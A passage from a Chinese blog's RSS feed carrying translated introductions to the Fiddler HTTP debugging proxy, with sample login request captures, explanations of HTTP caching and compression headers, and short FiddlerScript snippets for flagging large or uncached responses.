Accept-Encoding: gzip, deflate<br />
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;  QQDownload 1.7; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)<br />
Host: 192.168.19.2:8080<br />
Content-Length: 30<br />
Connection: Keep-Alive<br />
Pragma: no-cache<br />
Cookie: JSESSIONID=C404BA0368933D32FA08A5EF1BAE2D49</p>
<p>username=admin&amp;password=123456<br />
HTTP/1.1 200 OK<br />
<a href="http://www.iwanna.cn/tags/server/" class="st_tag internal_tag" rel="tag" title="标签 Server 下的日志">Server</a>: <a href="http://www.iwanna.cn/tags/apache/" class="st_tag internal_tag" rel="tag" title="标签 Apache 下的日志">Apache</a>-Coyote/1.1<br />
Content-Type: text/json;charset=utf-8<br />
Date: Mon, 16 Mar 2009 02:32:47 GMT<br />
Content-Length: 132</p>
<p>{&#8220;success&#8221;:false,&#8221;errors&#8221;:{&#8220;exception&#8221;:&#8221;"},&#8221;isgrab&#8221;:&#8221;[admin]正在被IP= [192.168.12.154]的用户使用中，是否抢占登录？&#8221;}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>POST /login.force?action=userLogin HTTP/1.1<br />
Accept: */*<br />
Accept-Language: zh-cn<br />
Referer: http://192.168.19.2:8080/login.html<br />
x-requested-with: XMLHttpRequest<br />
Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br />
UA-CPU: x86<br />
Accept-Encoding: gzip, deflate<br />
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;  QQDownload 1.7; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)<br />
Host: 192.168.19.2:8080<br />
Content-Length: 30<br />
Connection: Keep-Alive<br />
Pragma: no-cache<br />
Cookie: JSESSIONID=C404BA0368933D32FA08A5EF1BAE2D49</p>
<p>username=admin&amp;password=123456<br />
HTTP/1.1 200 OK<br />
Server: Apache-Coyote/1.1<br />
Set-Cookie: JSESSIONID=FD32F2962420B7BA72A1BAD3ACBEB616; Path=/<br />
Content-Type: text/json;charset=utf-8<br />
Date: Mon, 16 Mar 2009 02:32:50 GMT<br />
Content-Length: 44</p>
<p>{&#8220;success&#8221;:true,&#8221;message&#8221;:&#8221;操作成功！&#8221;}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>POST /logout.dof?action=logout HTTP/1.1<br />
Accept: */*<br />
Accept-Language: zh-cn<br />
Referer: http://192.168.19.2:8080/index.html<br />
x-requested-with: XMLHttpRequest<br />
UA-CPU: x86<br />
Accept-Encoding: gzip, deflate<br />
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;  QQDownload 1.7; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)<br />
Host: 192.168.19.2:8080<br />
Content-Length: 0<br />
Connection: Keep-Alive<br />
Pragma: no-cache<br />
Cookie: JSESSIONID=FD32F2962420B7BA72A1BAD3ACBEB616</p>
<p>HTTP/1.1 200 OK<br />
Server: Apache-Coyote/1.1<br />
Content-Type: text/json;charset=utf-8<br />
Date: Mon, 16 Mar 2009 02:33:00 GMT<br />
Content-Length: 59</p>
<p>{&#8220;success&#8221;:false,&#8221;errors&#8221;:{&#8220;sessionout&#8221;:true,&#8221;outinfo&#8221;:&#8221;"}}</p>
<p>Fiddler 具有强大的分析、编码解码（带有一个编码解码工具）、伪装（可动态伪装为任意主流浏览器）等能力。<br />
支持 GZIP 压缩，支持 IPv6，从 2.* 版本开始支持 HTTPS 协议以并可进行动态解密。<br />
支持图像，XML 以及网页表单数据查看。<br />
带有过滤器，方便过滤无关结果。还有“时间线”可以查看收到数据的先后顺序及总耗时。<br />
还带有“请求生成器”可发送自定义数据到服务器。特有的“自动应答”功能可以直接拦截并处理来自浏览器的特定请求而不发送到服务器。<br />
支持插件（扩展），可自定义规则（语法为 JavaScript），甚至设置断点。<br />
不过，目前动态捕获功能似乎只适用于基于 IE 内核的浏览器。<br />
最后，此软件完全免费。我已经用了好几个月，稳定性还是不错的。</p>
<p>下载：<br />
2.* 稳定版本：http://www.fiddler2.com/dl/Fiddler2Setup.exe<br />
2.* 测试版本（较新）：http://www.fiddler2.com/dl/Fiddler2BetaSetup.exe<br />
在线帮助及视频教程：http://www.fiddler2.com/Fiddler/help/<br />
官方扩展列表：http://www.fiddler2.com/Fiddler2/extensions.asp<br />
系统要求： Windows 2000 / XP / 2003 / Vista 操作系统， Microsoft .NET  Framework v2.0 或更高版本</p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/12/01/5998/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/12/01/5998/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/12/01/5998/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/12/01/5998/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/12/01/5998/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/12/01/5998/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HTTP调试工具：Fiddler介绍二</title>
		<link>http://www.iwanna.cn/archives/2010/12/01/5993/</link>
		<comments>http://www.iwanna.cn/archives/2010/12/01/5993/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 14:24:30 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Tool]]></category>
		<category><![CDATA[站长工具]]></category>
		<category><![CDATA[Fidder]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=5993</guid>
		<description><![CDATA[继上文《Fiddler工具介绍一》 学习如何通过Fiddler建立一个速度更快的网站。在这篇文章中，我们将使用Fiddler去探究HTTP的性能，缓存，以及压缩。 如果你要是没有安装和配置过Fiddler， 请从文章的第一篇开始。 HTTP性能总览 毫无疑问用户都喜欢访问速度快的网站。用户是非常的不耐烦，除非你的网站是没有竞争对手，换句话就是处于垄断地位的。如果你的访问者来自世界各地， 那你就必须要保证你的网站在执行效率方面要非常好，甚至要更加标准。作为一个国际化的网络连接点，通常要受到来自两个方面的压力：高访问量以及低带宽。 在第一次至关重要的访问中，用户必须要下载每一个内容片断，来生成页面，包括JS，CSS，Images，HTML，如果你的页面太 难加载（包括IIS接到请求执行并返回给客户端HTML），访问者也许就会离开你的页面！ 通过暴露所有的HTTP通讯，Fiddler很容易得向你展示哪些文件经常被用于生成一个页面， Shift+click 可以在Fiddler左边框的会话列表中多选会话，来计算那些被选会话的“页面总重量”。那些被转换成字节的数量。 如果你想让你的客户在第一次访问的时候就留下深刻的印象 ，那么最好的，也是唯一的途径就是返回给客户更少的文件。 1 使用更少的图画 2 将所有的CSS浓缩到一个CSS文件中 3 将所有的脚本浓缩到一个JS文件中 4 简化你的页面时间 5 使用HTTP压缩 如果要是你已经对用户的第一次来访的性能进行了优化，那么你可以通过Http 缓存的优势来使得你的网站访问速度更快！ HTTP 缓存介绍 2种方式来提升你的web 应用程序的速度： 减少请求和响应的往返次数 减少请求和响应的往返字节大小。 HTTP缓存是最好的减少客户端服务器端往返次数的办法。缓存提供了提供一种机制来保证客户端或者代理能够存储一些东西，而这些东西将会在稍后的 HTTP 响应中用到的。（即第一次请求了，到了客户端，缓存起来，下次如果页面还要这个JS文件或者CSS文件啥的，就不要到服务器端去取下来了，但是还是要去服 务器上去访问一次，因为请求要对比ETAG值，关于这个值，我将会在下次翻译中介绍其作用）这样，就不用让文件再次跨越整个网络了。 缓存相关的请求头 为了提高性能，微软的IE和其他的web客户端总是想尽办法来维持从远程服务器上下载下来的本地的缓存。 当客户端需要一个资源（html,css.js…），他们有3种可能的动作： 1 发送一个一般的HTTP请求到远程服务器端，请求这个资源。 2 发送一个有条件的HTTP请求到服务器，条件就是如果它不同于本地的缓存版本。 3 如果缓存的拷贝可用，就使用本地的缓存资源。 当发送一个请求，客户也许会使用如下的几个HEADER Table 1. Client Cache Headers Pragma: no-cache The client [...]]]></description>
			<content:encoded><![CDATA[<p>继上文<a href="http://www.iwanna.cn/archives/2010/12/01/5989/" title="Fiddler工具介绍">《Fiddler工具介绍一》</a></p>
<p>学习如何通过Fiddler建立一个速度更快的网站。在这篇文章中，我们将使用Fiddler去探究HTTP的性能，缓存，以及压缩。</p>
<p>如果你要是没有安装和配置过Fiddler， 请从文章的第一篇开始。</p>
<h2>HTTP性能总览</h2>
<p>毫无疑问用户都喜欢访问速度快的网站。用户是非常的不耐烦，除非你的网站是没有竞争对手，换句话就是处于垄断地位的。如果你的访问者来自世界各地， 那你就必须要保证你的网站在执行效率方面要非常好，甚至要更加标准。作为一个国际化的网络连接点，通常要受到来自两个方面的压力：高访问量以及低带宽。</p>
<p>在第一次至关重要的访问中，用户必须要下载每一个内容片断，来生成页面，包括JS，CSS，Images，HTML，如果你的页面太 难加载（包括IIS接到请求执行并返回给客户端HTML），访问者也许就会离开你的页面！</p>
<p>通过暴露所有的HTTP通讯，Fiddler很容易得向你展示哪些文件经常被用于生成一个页面，</p>
<p>Shift+click 可以在Fiddler左边框的会话列表中多选会话，来计算那些被选会话的“页面总重量”。那些被转换成字节的数量。</p>
<p>如果你想让你的客户在第一次访问的时候就留下深刻的印象 ，那么最好的，也是唯一的途径就是返回给客户更少的文件。<br />
<span id="more-5993"></span><br />
1 使用更少的图画</p>
<p>2 将所有的CSS浓缩到一个CSS文件中</p>
<p>3 将所有的脚本浓缩到一个JS文件中</p>
<p>4 简化你的页面时间</p>
<p>5 使用HTTP压缩</p>
<p>如果要是你已经对用户的第一次来访的性能进行了优化，那么你可以通过Http 缓存的优势来使得你的网站访问速度更快！</p>
<h2>HTTP 缓存介绍</h2>
<p>2种方式来提升你的web 应用程序的速度：</p>
<p>减少请求和响应的往返次数</p>
<p>减少请求和响应的往返字节大小。</p>
<p>HTTP缓存是最好的减少客户端服务器端往返次数的办法。缓存提供了提供一种机制来保证客户端或者代理能够存储一些东西，而这些东西将会在稍后的 HTTP  响应中用到的。（即第一次请求了，到了客户端，缓存起来，下次如果页面还要这个JS文件或者CSS文件啥的，就不要到服务器端去取下来了，但是还是要去服 务器上去访问一次，因为请求要对比ETAG值，关于这个值，我将会在下次翻译中介绍其作用）这样，就不用让文件再次跨越整个网络了。</p>
<h3>缓存相关的请求头</h3>
<p>为了提高性能，微软的IE和其他的web客户端总是想尽办法来维持从远程服务器上下载下来的本地的缓存。</p>
<p>当客户端需要一个资源（html,css.js…），他们有3种可能的动作：</p>
<p>1 发送一个一般的HTTP请求到远程服务器端，请求这个资源。</p>
<p>2 发送一个有条件的HTTP请求到服务器，条件就是如果它不同于本地的缓存版本。</p>
<p>3 如果缓存的拷贝可用，就使用本地的缓存资源。</p>
<p>当发送一个请求，客户也许会使用如下的几个HEADER</p>
<p>Table 1. Client Cache Headers</p>
<table border="0" cellpadding="0" width="90%">
<tbody>
<tr>
<td width="36%" valign="top">Pragma: no-cache</td>
<td width="64%" valign="top">The client is unwilling to accept any cached responses  from caches along the route and the origin <a href="http://www.iwanna.cn/tags/server/" class="st_tag internal_tag" rel="tag" title="标签 Server 下的日志">server</a> must be contacted for a  fresh copy of the resource.</td>
</tr>
<tr>
<td width="36%" valign="top">If-Modified-Since: datetime</td>
<td width="64%" valign="top">The server should return the requested resource only if  the resource has been modified since the date-time provided by the  client.</td>
</tr>
<tr>
<td width="36%" valign="top">If-None-Match: etagvalue</td>
<td width="64%" valign="top">The server should return the requested resource if the  ETAG of the resource is different than the value provided by the client.  An <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.19">ETAG</a> is a unique identifier representing a particular version of a file.</td>
</tr>
</tbody>
</table>
<p>1 Pragma：no-cache</p>
<p>如果要是这些有条件的请求，也就是含有If-Modified-Since 或者  If-None-MatchHeader头的请求，服务器将会以HTTP/304 Not Modified  来作为响应，那么客户端就知道可以使用客户端的缓存了。否则，服务器将会返回一个新的响应并且客户端就会抛弃过期的缓存资源。</p>
<p>你可以观察2个连贯的请求，来请求同一个图片，你会在Fiddler中发现：在第一个本地缓存版本中，服务器返回一个含有ETAG的文件，和一个含 有最后修改日期的文件，在这个第一次的请求会话中，一个本地的缓存版本已经可以使用了。这样一来，一个有条件的请求就被创建出来。然后你再次请求这个图片 的时候，他就就会响应一个本地缓存的文件，当然前提是第一次缓存的图片的ETAG值或者If-Modified-Since  值跟服务器上匹配的话，服务器就响应一个304给客户端。</p>
<p>Session #1</p>
<p>HTTP/1.1 200 OK</p>
<p>Date: Tue, 08 Mar 2006 00:32:46 GMT</p>
<p>Content-Length: 6171</p>
<p>Content-Type: image/jpeg</p>
<p>ETag: &#8220;40c7f76e8d30c31:2fe20&#8243;</p>
<p>Session #2</p>
<p>GET /images/banner.jpg HTTP/1.1</p>
<p>If-Modified-Since: Thu, 12 Jun 2003 02:50:50 GMT</p>
<p>If-None-Match: &#8220;40c7f76e8d30c31:2fe20&#8243;</p>
<p>HTTP/1.1 304 Not Modified</p>
<p>因为一个HTTP304响应仅仅包含头，没有body,所有它在穿越互联网的时候要比携带了资源的快很多，尽管如此，HTTP/304响应需要一个 服务器的往返，但是通过细心的设置响应头，web程序员可以消除这种因素，甚至是有条件的请求。</p>
<h3>缓存相关响应头</h3>
<p>通常缓存机制是由响应头来控制的。HTTP规范描述了Header控制缓存，The optional  Cache-Control，Expires（过期）。</p>
<p>Expires头包含一个绝对的日期，当超过此日期，它将不会被考虑更新了。</p>
<p>Table 2. Common Cache-Control Headers</p>
<table border="0" cellpadding="0" width="90%">
<tbody>
<tr>
<td width="28%" valign="bottom">Value</td>
<td width="70%" valign="bottom">Meaning</td>
</tr>
<tr>
<td width="28%" valign="top">public</td>
<td width="70%" valign="top">The response may be stored in any cache, including  caches shared among many users.</td>
</tr>
<tr>
<td width="28%" valign="top">private</td>
<td width="70%" valign="top">The response may only be stored in a private cache used  by a single user.</td>
</tr>
<tr>
<td width="28%" valign="top">no-cache</td>
<td width="70%" valign="top">The response should not be reused to satisfy future  requests.</td>
</tr>
<tr>
<td width="28%" valign="top">no-store</td>
<td width="70%" valign="top">The response should not be reused to satisfy future  requests, and should not be written to disk. This is primarily used as a  security measure for sensitive responses.</td>
</tr>
<tr>
<td width="28%" valign="top">max-age=#seconds</td>
<td width="70%" valign="top">The response may be reused to satisfy future requests  within a certain number of seconds.</td>
</tr>
<tr>
<td width="28%" valign="top">must-revalidate</td>
<td width="70%" valign="top">The response may be reused to satisfy future requests,  but the origin server should first be contacted to verify that the  response is still fresh.</td>
</tr>
</tbody>
</table>
<p>Cache-Control头的参数设置：</p>
<p>Public 响应会被缓存，并且在多用户间共享。</p>
<p>Private 响应只能够作为私有的缓存，不能再用户间共享。</p>
<p>No-cache 响应不会被缓存</p>
<p>No-store 响应不会被缓存，并且不会被写入到客户端的磁盘里，这也是基于安全考虑的某些敏感的响应才会使用这个。</p>
<p>Max-age=#seconds 响应将会某个指定的秒数内缓存，一旦时间过了，就不会被缓存。</p>
<p>Must-revalidate 响应会被重用来满足接下来的请求，但是它必须到服务器端去验证它是不是仍然是最新的。</p>
<p>注意：</p>
<p>如果你要想在iis中配置缓存，请参阅温软的知识技术文章：</p>
<p>·                  <a href="http://support.microsoft.com/default.aspx?scid=kb;en-us;247404">How  to Modify the Cache-Control HTTP Header When You Use IIS</a>.</p>
<p>你可以学习更多关于在asp.net中使用缓存的知识文章：</p>
<p>·                  <a href="http://support.microsoft.com/default.aspx?scid=kb;en-us;323290">How</a></p>
<p>使用HTTP会话列表，Fiddler用户可以看到在页面里包含的ＨＴＴＰ缓存头。</p>
<h3>Ｆｉｄｄｌｅｒ　会话列表</h3>
<p>如果响应不包含Ｅｘｐｉｒｅｓ或者Ｃａｃｈｅ－Ｃｏｎｔｒｏｌ，那么客户端就会被迫作为一个有条件的请求，来保证所有的资源都是最新的。</p>
<p>有条件的请求和ＷｉｎＩｎｅｔＣａｃｈｅ</p>
<p>ＩＥ通过Ｍｉｃｒｏｓｏｆｔ　ｗｉｎｄｏｗｓ　Ｉｎｔｅｒｎｅｔ　Ｓｅｒｖｉｃｅｓ来最大程度的利用缓存服务。ＷｉｎＩｎｅｔ允许用户配置缓存的大 小和行为，设置缓存进行如下操作：</p>
<p>１　打开ＩＥ，</p>
<p>２　工具选项，选择Ｉｎｒｅｒｎｅｔ选项，在一般子选项中，临时文件夹内，点击设置</p>
<p>下图就是选村的四种设置：</p>
<p>标记性能问题：</p>
<p>你可以使用Ｆｉｄｄｌｅｒ的自定义规则来标记某些你需要的，比如如果某个响应大于２５ＫＢ，你可以把当前的Ｓｅｓｓｉｏｎ标记为红色，更加醒目。以 下代码都是在OnBeforeResponse事件中：</p>
<pre>// Flag files over 25KB</pre>
<pre>   if (oSession.responseBodyBytes.length &gt; 25000){</pre>
<pre>      oSession["ui-color"] = "red";</pre>
<pre>      oSession["ui-bold"] = "true";</pre>
<pre>      oSession["ui-customcolumn"] = "Large file";</pre>
<pre>   }</pre>
<pre>同样，你也可以标记响应并不指示缓存信息。</pre>
<pre>   // Mark files which do not have caching information</pre>
<pre>if (!oSession.oResponse.headers.Exists("Expires") &amp;&amp;</pre>
<pre>!oSession.oResponse.headers.Exists("Cache-Control")){</pre>
<pre></pre>
<pre>oSession["ui-color"] = "purple";</pre>
<pre>      oSession["ui-bold"] = "true";</pre>
<pre>   }</pre>
<h2>介绍ＨＴＴＰ压缩</h2>
<p>MSIE 6.0; Windows NT 5.1; SV1; charset=utf-8</p>
<pre>Server: Microsoft-IIS/6.0 --Microsoft-HTTPAPI/1.0</pre>
<pre>X-Powered-By: ASP.NET</pre>
<pre>Vary: Accept-Encoding</pre>
<pre>Content-Encoding: gzip</pre>
<pre>Date: Tue, 15 Feb 2006 09:14:36 GMT</pre>
<pre>Content-Length: 1277</pre>
<pre>Connection: close</pre>
<pre>Cache-Control: private, max-age=3600</pre>
<pre></pre>
<p>你可以使用Ｆｉｄｄｌｅｒ来解压缩这些数据。实验表明，使用ＨＴＴＰ压缩能大量减少数据往返，一个普通的ＣＳＳ文件甚至能减少８０％！当然压缩是以 牺牲ＣＰＵ性能为代价的。特别是压缩动态文件，但是一般的权宜之策是压缩例如ＪＳ，ＣＳＳ等静态文件，因为他们在第一次压缩后，就会被存储在服务器上，如 果要压缩ａｓｐ．ｎｅｔ动态文件，一定要有个权衡才行</p>
<p>如果您现在还是不满足您的程序优化，那么你还可以参看这篇文章，</p>
<p><a href="http://msdn.microsoft.com/msdnmag/issues/05/01/ASPNETPerformance/default.aspx">Ten  Tips for Writing High-Performance Web Applications</a></p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/12/01/5993/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/12/01/5993/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/12/01/5993/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/12/01/5993/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/12/01/5993/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/12/01/5993/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HTTP调试工具：Fiddler工具介绍一</title>
		<link>http://www.iwanna.cn/archives/2010/12/01/5989/</link>
		<comments>http://www.iwanna.cn/archives/2010/12/01/5989/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 14:21:17 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Tool]]></category>
		<category><![CDATA[站长工具]]></category>
		<category><![CDATA[Fidder]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=5989</guid>
		<description><![CDATA[Fiddler工具介绍一 这个工具我已经使用比较长时间了，对我的帮助也挺大，今天我翻译的微软的文章，让更多的朋友 都来了解这个不错的工具，也是我第一次翻译文章，不恰当之处请大家大家多多指正。 如果您对本文感兴趣，那么就请翻看第二部分吧！ HTTP调试工具：Fiddler工具介绍一 介绍： 你是不是曾经疑惑过你的web程序和IE是如何交互的？你是不是遇到过一些奇怪的而你又无法 解决的性能瓶颈？你是不是对那些发送给服务器端的cookie 和那些你下载下来的被标记为可缓存的内容感到好奇？ Fiddler官方网站及下载地址：http://www.fiddlertool.com/Fiddler/dev/ 微软的Fiddler能够帮助你回答以上的问题，不但如此，它还是一个http调试代理，它 能够记录所有的你电脑和互联网之间的http通讯，Fiddler 可以也可以让你检查所有的http通讯，设置断点，以及Fiddle 所有的“进出”的数据（指cookie,html,js,css等文件，这些都可以让你胡乱修改的意思）。 Fiddler 要比其他的网络调试器要更加简单，因为它仅仅暴露http通讯还有提供一个用户友好的格式。 Fiddler 包含一个简单却功能强大的基于JScript .NET 事件脚本子系统，他非常灵活性非常棒，可以支持众多的http调试任务。Fiddler 是用C#写出来的。 。。。。。接下来是一大段废话，关于如何安装的，只要一路next，就可以了。这段话我就跳 过，直接切入正题了。 Running Fiddler 当你启动了Fiddler，程序将会把自己作为一个微软互联网服务的系统代理中去。你可以通 过检查代理设置对话框来验证Fiddler是被正确地截取了web请求。操作是这样的：点击IE设置，工具，局域网设置，最后点击高级。 作为系统代理，所有的来自微软互联网服务（WinInet）的http请求再到达目标Web 服务器的之前都会经过Fiddle，同样的，所有的Http响应都会在返回客户端之前流经Fiddler。这样，就能明白Fiddler很多作用了吧！ 当你关闭Fiddler的时候，它就会自动从系统注册表中移出，换句话说，当你关闭了 Fiddler后，不会占着茅坑不拉屎。 下面，是一个Fillder的用户界面，大家可以参考参考其功能。 用Fiddler来做性能测试 HTTP统计视图 通过显示所有的Http通讯，Fiddler可以轻松的演示哪些用来生成一个页面，通过统计 页面（就是Fiddler左边的那个大框）用户可以很轻松的使用多选，来得到一个WEB页面的“总重量”（页面文件以及相关js,css等）你也可以很轻 松得看到你请求的某个页面，总共请求了多少次，以及多少字节被转化了。 另外，通过暴露HTTP头，用户可以看见哪些页面被允许在客户端或者是代理端进行缓存。如果 要是一个响应没有包含Cache-Control 头，那么他就不会被缓存在客户端。 用Fiddler来调试 Fiddler支持断点调试概念，当你在软件的菜单—rules—automatic breakpoints选项选择beforerequest,或者当这些请求或响应属性能够跟目标的标准相匹配，Fiddler就能够暂停Http通讯， 情切允许修改请求和响应。这种功能对于安全测试是非常有用的，当然也可以用来做一般的功能测试，因为所有的代码路径都可以用来演习。 Session检查 用户可以在BuilderPage项种来以手工的方式来创建一个HTTP请求（即在 Fiddler右侧的tab的第三个，RequestBUILDER），或者可以使用拖拽操作从Session列表中来移动一个已经存在的请求到 builder page 来再次执行这个请求。。。 Fiddler 扩展 Fiddler可以使用 .net framework来对它进行扩展。有2种为Fiddler扩展准备的基本机制： [...]]]></description>
			<content:encoded><![CDATA[<p>Fiddler工具介绍一</p>
<p>这个工具我已经使用比较长时间了，对我的帮助也挺大，今天我翻译的微软的文章，让更多的朋友 都来了解这个不错的工具，也是我第一次翻译文章，不恰当之处请大家大家多多指正。</p>
<p>如果您对本文感兴趣，那么就请翻看第二部分吧！<br />
HTTP调试工具：<a href="http://www.iwanna.cn/archives/2010/12/01/5993/" title="HTTP调试工具：Fiddler介绍">Fiddler工具介绍一</a><br />
介绍：</p>
<p>你是不是曾经疑惑过你的web程序和IE是如何交互的？你是不是遇到过一些奇怪的而你又无法 解决的性能瓶颈？你是不是对那些发送给服务器端的cookie 和那些你下载下来的被标记为可缓存的内容感到好奇？</p>
<p>Fiddler官方网站及下载地址：<a href="http://www.fiddlertool.com/Fiddler/dev/">http://www.fiddlertool.com/Fiddler/dev/</a></p>
<p>微软的Fiddler能够帮助你回答以上的问题，不但如此，它还是一个http调试代理，它 能够记录所有的你电脑和互联网之间的http通讯，Fiddler 可以也可以让你检查所有的http通讯，设置断点，以及Fiddle  所有的“进出”的数据（指cookie,html,js,css等文件，这些都可以让你胡乱修改的意思）。 Fiddler   要比其他的网络调试器要更加简单，因为它仅仅暴露http通讯还有提供一个用户友好的格式。</p>
<p>Fiddler 包含一个简单却功能强大的基于JScript .NET  事件脚本子系统，他非常灵活性非常棒，可以支持众多的http调试任务。Fiddler 是用C#写出来的。</p>
<p>。。。。。接下来是一大段废话，关于如何安装的，只要一路next，就可以了。这段话我就跳 过，直接切入正题了。<br />
<span id="more-5989"></span><br />
Running Fiddler</p>
<p>当你启动了Fiddler，程序将会把自己作为一个微软互联网服务的系统代理中去。你可以通 过检查代理设置对话框来验证Fiddler是被正确地截取了web请求。操作是这样的：点击IE设置，工具，局域网设置，最后点击高级。</p>
<p><a href="http://www.iwanna.cn/" title="我想网" target="_blank"><img src="http://images.uheed.com/iwanna/2010/12/01/fiddler/ie_introfiddler_fig01.gif" border="0" alt="Fiddler工具介绍 | iwanna.cn 我想网" /></a></p>
<p>作为系统代理，所有的来自微软互联网服务（WinInet）的http请求再到达目标Web 服务器的之前都会经过Fiddle，同样的，所有的Http响应都会在返回客户端之前流经Fiddler。这样，就能明白Fiddler很多作用了吧！</p>
<p><a href="http://www.iwanna.cn/" title="我想网" target="_blank"><img src="http://images.uheed.com/iwanna/2010/12/01/fiddler/ie_introfiddler_fig02.gif" border="0" alt="Fiddler工具介绍 | iwanna.cn 我想网" /></a></p>
<p>当你关闭Fiddler的时候，它就会自动从系统注册表中移出，换句话说，当你关闭了 Fiddler后，不会占着茅坑不拉屎。</p>
<p>下面，是一个Fillder的用户界面，大家可以参考参考其功能。</p>
<p><a href="http://www.iwanna.cn/" title="我想网" target="_blank"><img src="http://images.uheed.com/iwanna/2010/12/01/fiddler/ie_introfiddler_fig03.gif" border="0" alt="Fiddler工具介绍 | iwanna.cn 我想网" /></a></p>
<p>用Fiddler来做性能测试</p>
<p>HTTP统计视图</p>
<p>通过显示所有的Http通讯，Fiddler可以轻松的演示哪些用来生成一个页面，通过统计 页面（就是Fiddler左边的那个大框）用户可以很轻松的使用多选，来得到一个WEB页面的“总重量”（页面文件以及相关js,css等）你也可以很轻 松得看到你请求的某个页面，总共请求了多少次，以及多少字节被转化了。</p>
<p><a href="http://www.iwanna.cn/" title="我想网" target="_blank"><img src="http://images.uheed.com/iwanna/2010/12/01/fiddler/ie_introfiddler_fig04.gif" border="0" alt="Fiddler工具介绍 | iwanna.cn 我想网" /></a></p>
<p>另外，通过暴露HTTP头，用户可以看见哪些页面被允许在客户端或者是代理端进行缓存。如果 要是一个响应没有包含Cache-Control 头，那么他就不会被缓存在客户端。</p>
<p><a href="http://www.iwanna.cn/" title="我想网" target="_blank"><img src="http://images.uheed.com/iwanna/2010/12/01/fiddler/ie_introfiddler_fig05.gif" border="0" alt="Fiddler工具介绍 | iwanna.cn 我想网" /></a></p>
<p>用Fiddler来调试</p>
<p>Fiddler支持断点调试概念，当你在软件的菜单—rules—automatic  breakpoints选项选择beforerequest,或者当这些请求或响应属性能够跟目标的标准相匹配，Fiddler就能够暂停Http通讯， 情切允许修改请求和响应。这种功能对于安全测试是非常有用的，当然也可以用来做一般的功能测试，因为所有的代码路径都可以用来演习。</p>
<p><a href="http://www.iwanna.cn/" title="我想网" target="_blank"><img src="http://images.uheed.com/iwanna/2010/12/01/fiddler/ie_introfiddler_fig06.gif" border="0" alt="Fiddler工具介绍 | iwanna.cn 我想网" /></a></p>
<p>Session检查</p>
<p>用户可以在BuilderPage项种来以手工的方式来创建一个HTTP请求（即在 Fiddler右侧的tab的第三个，RequestBUILDER），或者可以使用拖拽操作从Session列表中来移动一个已经存在的请求到 builder page 来再次执行这个请求。。。</p>
<p>Fiddler 扩展</p>
<p>Fiddler可以使用 .net  framework来对它进行扩展。有2种为Fiddler扩展准备的基本机制：</p>
<p>自定义规则，和规则检查。</p>
<p>使用脚本化的规则来扩展Fiddler</p>
